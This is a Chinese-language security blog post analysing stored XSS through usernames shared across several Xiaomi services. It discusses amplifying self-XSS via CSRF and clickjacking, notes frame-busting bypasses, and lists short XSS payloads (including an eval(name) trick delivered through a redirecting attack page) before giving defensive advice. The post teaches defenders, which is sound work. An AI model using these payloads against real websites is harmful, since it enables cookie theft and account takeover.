Category

用户名(昵称)XSS浅析

Post by xxb at 2019-01-07 10:52:19

用户名(昵称)是几乎所有互联网系统都存在的,互联网公司的各个业务系统大多集中使用自家帐号体系的用户名。互联网公司之间会以第三方登录方式共享用户名。而用户名是普通用户可控,且会存储到系统服务器,并在各个业务系统进行展示。

所以用户名会被多个端(各业务系统、Web/APP端等)修改、展示,故很大可能会存在典型的存储XSS安全问题。本篇即将分析下用户名相关的XSS安全问题

多个业务系统操作同一用户名

比如小米(不止)包括以下系统操作(读/写)同一用户名,其中小米帐号、多看APP可修改用户名

· 小米帐号:account.xiaomi.com

· 小米商城:www.mi.com

· 多看阅读:www.duokan.com

· MiWiFi:d.miwifi.com

· 多看阅读APP

· 米家APP

通常情况下各个业务系统使用统一的读、写接口,仅存在Web端接口不同于APP端接口情况。写接口一般会把用户名转换成html实体编码后存储到库中;读接口将库中数据原样返回

尽管如此,多个端读取到用户名之后的展示方法不尽相同、所处的上下文无法预测,譬如某些系统将读接口返回的用户名编码成html然后返回到前端,则依然存在XSS的可能

登录第三方帐号的用户名

有些业务系统允许使用第三方帐号登录,并且默认使用第三方帐号的元信息(nickname,avatar,openid),应使用统一的写接口将其保存到库中,注意防范XSS问题

Self-XSS?

用户名通常只在“个人中心”出现,一般只有用户自己可见,即所谓Self-XSS。只有在BBS论坛等系统,昵称出现在公开的个人信息页面的情况下,XSS才会危害到他人。但如果修改用户名功能存在如下问题(还很常见)

· CSRF修改用户名

增加不可预测参数值来防止用户名被恶意修改

· Clickjacking(此种风险被忽视的很严重)误导受害者修改用户名

增加CSP规则Content-Security-Policy: frame-ancestors 'self';可以防止页面被iframe嵌套

参考:https://www.owasp.org/index.php/Clickjacking

PS:X-Frame-Options只检测与top窗口的关系,若有多层嵌套victim{hacker{victim}}},可被绕过

PS:页面中JS检测是否为top window,可被iframe的sandbox属性绕过

攻击者利用这些问题,即可在非BBS系统中实施攻击,放大“self-xss”的危害。

长度存在限制

纵然你有百般姿势,成功的alert()弹框出来,但是用户名长度有限制,可能无法产生实际危害(盗取用户cookie、跳转到恶意页面等)

标签上下文环境 <html>{payload}</html>XXS最短payload

· <script/src=//x.cn> 长度19,短域名可遇不可求

· <p oncut=eval(name)> 长度20,需要页面存在input,且需要受害者剪切input中文本内容,条件苛刻

· <b onclick=eval(name)> 长度23, 结合同一窗体window.name变量通用,仅需要用户单击鼠标即可,较常见

PS:attack.html包含JS: name=alert();window.open("https://www.victim.com/xss.html", "_self") 受害者打开attack.html后,页面会在本窗口被跳转到存在XSS漏洞页面,单击鼠标后payload被执行

JS执行上下文最短payload

· <script src={payload}> payload = //x.cn 长度6,较罕见

· <b onclick={payload}> payload = eval(name) 长度10,较罕见

所以虽然限制长度能起到防范作用,但极端情况下只需要6个字符就能产生实际XSS危害,故限制长度并不能完全解决隐患

最佳实践

用户名存在多个系统多个使用场景情况,若源头控制不当,存在大概率XSS风险。这里建议的最佳实践如下

· 在用户名写接口(新增、更改等)处实施安全策略

· 安全使用第三方用户名

· 限制用户名长度不长于18

· 用户名只允许数字字母下划线,不允许其他字符